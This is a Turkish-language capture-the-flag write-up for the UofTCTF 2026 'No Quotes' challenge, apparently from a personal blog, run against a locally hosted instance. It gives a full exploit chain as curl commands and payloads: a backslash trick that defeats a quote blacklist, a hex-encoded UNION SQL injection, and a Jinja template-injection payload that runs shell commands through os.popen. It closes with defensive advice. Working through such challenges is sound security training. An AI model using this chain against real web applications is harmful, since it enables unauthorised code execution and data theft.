UofTCTF 2026 — No Quotes Çözümü

Kısa özet: iki karakterlik tırnak yasağı, backslash ile kapanış tırnağını kaçırma, hex'li UNION enjeksiyonu ve /home'deki render_template_string SSTI'siyle RCE.

3 dk okuma
ibrahimsql
571 kelime

UofTCTF 2026 — No Quotes

"Go Go Squid!" temalı bir giriş portalı. Kaynak verildiği için beyaz kutu çözdüm: ' ve " yasak, ancak SQL sorgusu f-string ile kuruluyor ve /home doğrudan render_template_string çağırıyor. İki zayıflık üst üste binince WAF'a hiç tırnak göndermeden RCE'ye çıkılıyor.

Kapsam: yalnızca yerel olarak ayağa kaldırdığım örnek. Hiçbir dış sisteme dokunulmadı.

1. Kaynak incelemesi

Giriş sorgusu, kullanıcı girdisi doğrudan string'e gömülerek kuruluyor:

Python
query = (
    "SELECT id, username FROM users "
    f"WHERE username = ('{username}') AND password = ('{password}')"
)

Girdiyi süzen tek şey iki karakter:

def waf(value: str) -> bool:
    blacklist = ["'", '"']
    return any(char in value for char in blacklist)

Oturum açınca /home şunu yapıyor:

return render_template_string(open("templates/home.html").read() % session["user"])

session["user"], sorgunun döndürdüğü username sütunu. home.html içinde %s var; yani veritabanından gelen dize önce % biçimlendirmesiyle şablona yazılıyor, sonra Jinja kaynağı olarak derleniyor. Kontrol edilebilir bir username üretebilirsem SSTI → RCE.

Zincir: WAF → backslash ile kaçış → hex'li UNION → SSTI → /readflag.

2. Ortamı kurma

Arşivde Docker var; bende daemon yok, bu yüzden aynı yığını native kurdum (MariaDB + uygulama değiştirilmeden).

Bash
python3 -m venv /tmp/noq-venv
/tmp/noq-venv/bin/pip install flask==3.0.3 pymysql==1.1.1
# MariaDB kurulu, ctf/ctf kullanıcısı ve ctf veritabanı hazır
cd src/src && /tmp/noq-venv/bin/python app.py   # :5000 doluysa

Port 5000'i AirPlay tuttuğu için uygulamayı kodunu değiştirmeden 5001'de açtım:

/tmp/noq-venv/bin/python -c "import app; app.ensure_db(); app.app.run(host='127.0.0.1', port=5001, debug=False)"

Container'da flag'e yalnızca root erişir ve /readflag setuid'dir (readflag.c: setuid(0); system("cat /root/flag.txt")). Yerel koşuda root ayrıcalığı yok; aynı okumayı /tmp/readflag ile taklit ettim. Arşiv bayrağı Dockerfile'da sabit: uoftctf{fake_flag}.

3. WAF'ı doğrulama

curl -s -X POST http://127.0.0.1:5001/login \
  --data-urlencode "username=admin'" --data-urlencode "password=x" | grep -o "No quotes allowed!"
# No quotes allowed!

Tırnak yasak. Klasik ' OR 1=1-- - ölü. Ama girdi zaten tırnak içine konuyor ve MySQL/MariaDB backslash'i kaçış olarak yorumluyor: \, kapanış tırnağını kaçırarak ayrıştırmayı kaydırır.

String'i doğrudan pymysql ile denedim. username alanı \, password alanı enjeksiyon:

q = "SELECT id, username FROM users WHERE username = ('\\') AND password = (') UNION SELECT 1,CONVERT(0x<hex> USING utf8mb4)#')"
Q: ... WHERE username = ('\') AND password = (') UNION SELECT 1,CONVERT(0x7b7b20.. USING utf8mb4)#')
ROW: (1, "{{ cycler.__init__.__globals__.os.popen('/tmp/readflag').read() }}")

İşleyiş: \' kapanış tırnağını kaçırır → username dizesi uzar ve password alanı sorgu dışına taşar; ) enjeksiyon noktasını açar, # kalanı yorumlar. Dönen ikinci sütun bizim dize.

Yasak karakter yok: payload string'i 0x... hex literal olarak, CONVERT(... USING utf8mb4) ile metne çevrilerek taşınıyor. İstekte tek bir tırnak geçmiyor.

4. Uçtan uca exploit

Bash
B=http://127.0.0.1:5001
PAYLOAD="{{ cycler.__init__.__globals__.os.popen('id; /tmp/readflag').read() }}"
HEX=$(printf '%s' "$PAYLOAD" | xxd -p | tr -d '\n')
INJ_PW=") UNION SELECT 1,CONVERT(0x$HEX USING utf8mb4)#"
 
curl -s -c /tmp/cj -X POST $B/login \
  --data-urlencode 'username=\' --data-urlencode "password=$INJ_PW" -o /dev/null -w "login=%{http_code}\n"
# login=302

302 → oturum açıldı ve session["user"] artık Jinja payload'ı. /home render edilince şablon çalışıyor:

curl -s -b /tmp/cj $B/home | grep -oE "uid=[^<]*|uoftctf\{[^}]*\}"
uid=501(ibrahim) gid=20(staff) groups=20(staff),101(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),...
uoftctf{fake_flag}

os.popen ile komut çalıştı (RCE), /readflag bayrağı döndürdü.

5. Bayrak ve ders

Container'da son adım /readflag:

uoftctf{fake_flag}

Arşiv bayrağı Dockerfile'da sabittir; gerçek yarışmada her örnek için farklı üretilir. Burada kanıtlanan şey zincirin kendisi.

Ders: iki karakterlik bir kara liste girdi sanitizasyonu değildir. Tırnak yasağı backslash ile atlanıyor; veritabanından dönen değerin şablona % ile yazılıp render_template_string'e verilmesi ise tek başına RCE demek. Girdiyi parametreli sorgu ile taşı, kullanıcı verisini asla şablon kaynağı yapma.

---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar